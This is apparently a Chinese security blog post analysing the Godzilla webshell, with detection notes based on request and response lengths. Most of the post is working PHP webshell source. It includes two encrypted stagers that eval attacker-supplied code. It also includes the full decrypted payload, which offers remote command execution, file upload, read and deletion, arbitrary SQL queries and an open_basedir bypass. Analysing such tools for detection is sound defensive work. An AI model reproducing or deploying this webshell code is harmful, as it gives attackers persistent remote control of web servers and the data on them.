冰蝎v3.0 Beta 2放出来没多久,就被找到了固定长度的特征,过两天又更新了,加了一些随机字符,固定长度特征消失。
哥斯拉也有一定的优点,比冰蝎好一点,但是也存在固定长度的问题
控制端:win10 + 哥斯拉Godzilla V1.00 服务端:Ubuntu 16.04 + Apache + PHP 7.0.33
php的webshell有两种,一种是php_xor_base64,另一种是php_xor_raw
首先看php_xor_base64
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
密码是$P,也即pass
他是加密通信的,密钥生成shell的时候配置的,默认是key,md5后的前十六位,就是上面的$T='3c6e0b8a9c15224a';
,这个跟冰蝎v3.0的密钥格式是一致的。
substr(md5('key')),0,16)=='3c6e0b8a9c15224a'
这个代码单单这么看是看不出什么,$F是我们的输入,这有两种情况
1、不存在_SESSION[V],F就赋值给_SESSION[V]2、存在的时候就,F是run函数的参数
你会发现在这个php中没有run函数,那就只能在调用run之前动态生成了,也就是下面几行代码
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
可以看到存在_SESSION[V]的时候,每次都会定义一个C类,里面只有一个函数nvoke,里面是直接执行eval而后面新建一个C类,并调用利用的nvoke函数,参数是A[0],A[0]来源于_SESSION[V]经过|分割打散为数组的第一个元素(通过解密,你会发现_SESSION[V]里面没有|字符,可能是作者为了以后添加更多功能而设计的,所以没有|的_SESSION[V],跟
为了更清晰地了解整个过程,我们添加下面代码通过输出变量的方式快速获取实际执行的明文代码
file_put_contents("/var/www/html/Godzilla/info.txt", $F , FILE_APPEND | LOCK_EX);
file_put_contents("/var/www/html/Godzilla/info.txt", "--------------\n\n" , FILE_APPEND | LOCK_EX);
通过这个我们得到了初次连接webshell的3次通信解密后的明文,整个过程如下图
下面是第一次发送解密后存在_SESSION[V]中的代码,可以看第一个函数就是run函数了!
简单解析一下,在run函数里面,通过formatParameter函数将参数解析到全局变量$parameters中,最后执行evalFunc()执行对应的函数功能,最后用base64Encode返回结果
$parameters=array();
function run($pms){
formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));
if ($_SESSION["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
return base64Encode(evalFunc());
}
function bypass_open_basedir(){
if(!@file_exists('bypass_open_basedir')){
@mkdir('bypass_open_basedir');
}
@chdir('bypass_open_basedir');
@ini_set('open_basedir','..');
@$_Ei34Ww_sQDfq_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
@$_Ei34Ww_sQDfq_path = str_replace("\\",'/',$_Ei34Ww_sQDfq_FILENAME);
@$_Ei34Ww_sQDfq_num = substr_count($_Ei34Ww_sQDfq_path,'/') + 1;
$_Ei34Ww_sQDfq_i = 0;
while($_Ei34Ww_sQDfq_i < $_Ei34Ww_sQDfq_num){
@chdir('..');
$_Ei34Ww_sQDfq_i++;
}
@ini_set('open_basedir','/');
@rmdir($_Ei34Ww_sQDfq_FILENAME.'/'.'bypass_open_basedir');
}
function formatParameter($pms){
global $parameters;
$pms=explode("&",$pms);
foreach ($pms as $kv){
$kv=explode("=",$kv);
if (sizeof($kv)>=2){
$parameters[$kv[0]]=base64Decode($kv[1]);
}
}
}
function evalFunc(){
@session_write_close();
$className=get("codeName");
$methodName=get("methodName");
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SESSION[$className])){
return eval($_SESSION[$className]);
}else{
return "{$className} no load";
}
}
}else{
return $methodName();
}
}else{
return "methodName Is Null";
}
}
function deleteDir($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
@chmod($pf,0777);
if((is_dir($pf))&&($f!=".")&&($f!="..")){
deleteDir($pf);
@rmdir($pf);
}else if (is_file($pf)&&($f!=".")&&($f!="..")){
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
function deleteFile(){
$F=get("fileName");
if(is_dir($F)){
return deleteDir($F)?"ok":"fail";
}else{
return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
}
}
function copyFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (@is_file($srcFileName)){
if (copy($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}else{
return "The target does not exist or is not a file";
}
}
function moveFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (rename($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}
function getBasicsInfo()
{
$data = array();
$data['OsInfo'] = @php_uname();
$data['CurrentUser'] = @get_current_user();
$data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
$data['disable_functions'] = (@ini_get('disable_functions'));
$data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
$data['timezone'] = @ini_get('date.timezone');
$data['encode'] = @ini_get('exif.encode_unicode');
$data['extension_dir'] = @ini_get('extension_dir');
$data['include_path'] = @ini_get('include_path');
$data['PHP_SAPI'] = PHP_SAPI;
$data['PHP_VERSION'] = PHP_VERSION;
$data['memory_limit'] = ini_get('memory_limit');
$data['upload_max_filesize'] = ini_get('upload_max_filesize');
$data['post_max_size'] = ini_get('post_max_size');
$data['max_execution_time'] = ini_get('max_execution_time');
$data['max_input_time'] = ini_get('max_input_time');
$data['default_socket_timeout'] = ini_get('default_socket_timeout');
$data['mygid'] = @getmygid();
$data['mypid'] = @getmypid();
$data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
$data['short_open_tag'] = @get_cfg_var('short_open_tag');
$data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
$data['asp_tags'] = @get_cfg_var('asp_tags');
$data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
$data['safe_mode'] = @get_cfg_var('safe_mode');
$data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
$data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
$data['FileRoot'] = '';
if (substr(__FILE__, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
$data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
$data['FileRoot']= substr_count($data['FileRoot'],substr(__FILE__, 0, 1))<=0?substr(__FILE__, 0, 1).":/":$data['FileRoot'];
$result="";
foreach($data as $key=>$value){
$result.=$key." : ".$value."\n";
}
return $result;
}
function getFile(){
$dir=get('dirName');
$dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
$dir.="/";
$path=$dir;
$allFiles = @scandir($path);
$data="";
if ($allFiles!=null){
$data.="ok";
$data.="\n";
$data.=$path;
$data.="\n";
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
$fullPath = $path.$fileName;
$lineData=array();
array_push($lineData,$fileName);
array_push($lineData,@is_file($fullPath)?"1":"0");
array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
array_push($lineData,@filesize($fullPath));
$fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
array_push($lineData,(strlen($fr)>0?$fr:"F"));
$data.=(implode("\t",$lineData)."\n");
}
}
}else{
return "Path Not Found Or No Permission!";
}
return $data;
}
function readFileContent(){
$fileName=get("fileName");
if (@is_file($fileName)){
if (@is_readable($fileName)){
return file_get_contents($fileName);
}else{
return "No Permission!";
}
}else{
return "File Not Found";
}
}
function uploadFile(){
$fileName=get("fileName");
$fileValue=get("fileValue");
if (@file_put_contents($fileName,$fileValue)!==false){
return "ok";
}else{
return "fail";
}
}
function newDir(){
$dir=get("dirName");
if (@mkdir($dir,0777,true)!==false){
return "ok";
}else{
return "fail";
}
}
function newFile(){
$fileName=get("fileName");
if (@file_put_contents($fileName,"")!==false){
return "ok";
}else{
return "fail";
}
}
function execCommand(){
$result = "";
$command = get("cmdLine");
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$command = $command . " 2>&1\n";
}
if (is_callable('system') and ! in_array('system', $PadtJn)) {
ob_start();
system($command);
$result = ob_get_contents();
ob_end_clean();
} else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
$handle = proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
$result = NULL;
while (! feof($pipes[1])) {
$result .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
ob_start();
passthru($command);
$result = ob_get_contents();
ob_end_clean();
} else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
$result = shell_exec($command);
} else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
$result = array();
exec($command, $result);
$result = join(chr(10), $result) . chr(10);
} else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
$fp = popen($command, 'r');
$result = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$result .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
return "none of proc_open/passthru/shell_exec/exec/exec is available";
}
return $result;
}
function execSql(){
$dbType=get("dbType");
$dbHost=get("dbHost");
$dbPort=get("dbPort");
$username=get("dbUsername");
$password=get("dbPassword");
$execType=get("execType");
$execSql=get("execSql");
function mysql_exec($host,$port,$username,$password,$execType,$sql){
// 创建连接
$conn = new mysqli($host,$username,$password,"",$port);
// Check connection
if ($conn->connect_error) {
return $conn->connect_error;
}
$result = $conn->query($sql);
if ($conn->error){
return $conn->error;
}
$result = $conn->query($sql);
if ($execType=="update"){
return "Query OK, "+$conn->affected_rows+" rows affected";
}else{
$data="ok\n";
while ($column = $result->fetch_field()){
$data.=base64_encode($column->name)."\t";
}
$data.="\n";
if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
foreach ($row as $value){
$data.=base64_encode($value)."\t";
}
$data.="\n";
}
}
return $data;
}
}
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
try {
$conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);
// 设置 PDO 错误模式为异常
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if ($execType=="update"){
return "Query OK, "+$conn->exec($sql)+" rows affected";
}else{
$data="ok\n";
$stm=$conn->prepare($sql);
$stm->execute();
$row=$stm->fetch(PDO::FETCH_ASSOC);
$_row="\n";
foreach (array_keys($row) as $key){
$data.=base64_encode($key)."\t";
$_row.=base64_encode($row[$key])."\t";
}
$data.=$_row."\n";
while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
foreach (array_keys($row) as $key){
$data.=base64_encode($row[$key])."\t";
}
$data.="\n";
}
return $data;
}
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
if ($dbType=="mysql"){
if (extension_loaded("mysqli")){
return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
}else if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
}else{
return "no extension";
}
}else if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
}else{
return "no extension";
}
return "no extension";
}
function base64Encode($data){
return base64_encode($data);
}
function test(){
return "ok";
}
function get($key){
global $parameters;
if (isset($parameters[$key])){
return $parameters[$key];
}else{
return null;
}
}
function includeCode(){
@session_start();
$classCode=get("binCode");
$codeName=get("codeName");
$_SESSION[$codeName]=$classCode;
@session_write_close();
return "ok";
}
function base64Decode($string){
return base64_decode($string);
}
我们单独把evalFunc拿出来看看,就是通过获取参数methodName的值,之后一般都是走调用$methodName()的路径
function evalFunc(){
@session_write_close();
$className=get("codeName");
$methodName=get("methodName");
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SESSION[$className])){
return eval($_SESSION[$className]);
}else{
return "{$className} no load";
}
}
}else{
return $methodName();
}
}else{
return "methodName Is Null";
}
}
服务端收到的解密结果是:
methodName=dGVzdA==
我们base64解码一下参数的值:
methodName=test
所以是调用上面的test函数,就是直接返回ok而已
function test(){
return "ok";
}
服务端收到的解密结果是:
methodName=Z2V0QmFzaWNzSW5mbw==
我们base64解码一下参数的值:
methodName=getBasicsInfo
就是调用getBasicsInfo函数,那就是我们进入webshell后看到的服务器的一些基础信息了
function getBasicsInfo()
{
$data = array();
$data['OsInfo'] = @php_uname();
$data['CurrentUser'] = @get_current_user();
$data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
$data['disable_functions'] = (@ini_get('disable_functions'));
$data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
$data['timezone'] = @ini_get('date.timezone');
$data['encode'] = @ini_get('exif.encode_unicode');
$data['extension_dir'] = @ini_get('extension_dir');
$data['include_path'] = @ini_get('include_path');
$data['PHP_SAPI'] = PHP_SAPI;
$data['PHP_VERSION'] = PHP_VERSION;
$data['memory_limit'] = ini_get('memory_limit');
$data['upload_max_filesize'] = ini_get('upload_max_filesize');
$data['post_max_size'] = ini_get('post_max_size');
$data['max_execution_time'] = ini_get('max_execution_time');
$data['max_input_time'] = ini_get('max_input_time');
$data['default_socket_timeout'] = ini_get('default_socket_timeout');
$data['mygid'] = @getmygid();
$data['mypid'] = @getmypid();
$data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
$data['short_open_tag'] = @get_cfg_var('short_open_tag');
$data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
$data['asp_tags'] = @get_cfg_var('asp_tags');
$data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
$data['safe_mode'] = @get_cfg_var('safe_mode');
$data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
$data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
$data['FileRoot'] = '';
if (substr(__FILE__, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
$data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
$data['FileRoot']= substr_count($data['FileRoot'],substr(__FILE__, 0, 1))<=0?substr(__FILE__, 0, 1).":/":$data['FileRoot'];
$result="";
foreach($data as $key=>$value){
$result.=$key." : ".$value."\n";
}
return $result;
}
接下来说特征,由于有url编码,导致第一次长度变化很大
假如防护设备默认url解码的话,=号后面的base64字符长度是23068,但返回的长度是0,也是非常重要的特征
第一次长度变化很多我们可以检查第二次啊
第二次也是由于url编码导致请求变化,有url解码的话,=号后面的base64字符长度是40,返回包应该不会出现url编码,长度是40
header由于可以自定义,我们就不关注了,通过逆向看源码是从本地数据库读取的,就是用户设置存储到本地的
下面是通过通过JDGUI反编译得到的源码
private static void initHttpHeader() {
String headerString = getGloballHttpHeader();
if (headerString != null) {
String[] reqLines = headerString.split("\n");
headerMap = new Hashtable<>();
for (int i = 0; i < reqLines.length; i++) {
if (!reqLines[i].trim().isEmpty()) {
int index = reqLines[i].indexOf(":");
if (index > 1) {
String keyName = reqLines[i].substring(0, index).trim();
String keyValue = reqLines[i].substring(index + 1, reqLines[i].length()).trim();
headerMap.put(keyName, keyValue);
}
}
}
}
}
public static String getGloballHttpHeader() {
return Db.getSetingValue("globallHttpHeader");
}
public static String getSetingValue(String key) {
String getSetingValueSql = "SELECT value FROM seting WHERE key=?";
try {
PreparedStatement preparedStatement = getPreparedStatement(getSetingValueSql);
preparedStatement.setString(1, key);
ResultSet resultSet = preparedStatement.executeQuery();
String value = resultSet.next() ? resultSet.getString("value") : null;
resultSet.close();
preparedStatement.close();
return value;
} catch (Exception e) {
Log.error(e);
return null;
}
}
看完base64的,我们看看php_xor_raw,还是先看webshell文件
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
function I(){
return "php://input";
}
$V='payload';
$T='3c6e0b8a9c15224a';
$F=O(E(file_get_contents(I()),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo E(run($F),$T);
}else{
$_SESSION[$V]=$F;
}
可以看到这里把密码的判断删除了,直接从php://input
接收输入(毕竟有不可见字符)
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
流程就不重复说了,跟上面的是一样的
因为这个不存url编码的问题,所以长度是固定的,第一次的HTTP回应包的body也是0,这个比base64更容易检测
前两次的请求长度和响应长度分别如下:
17300 0
28 4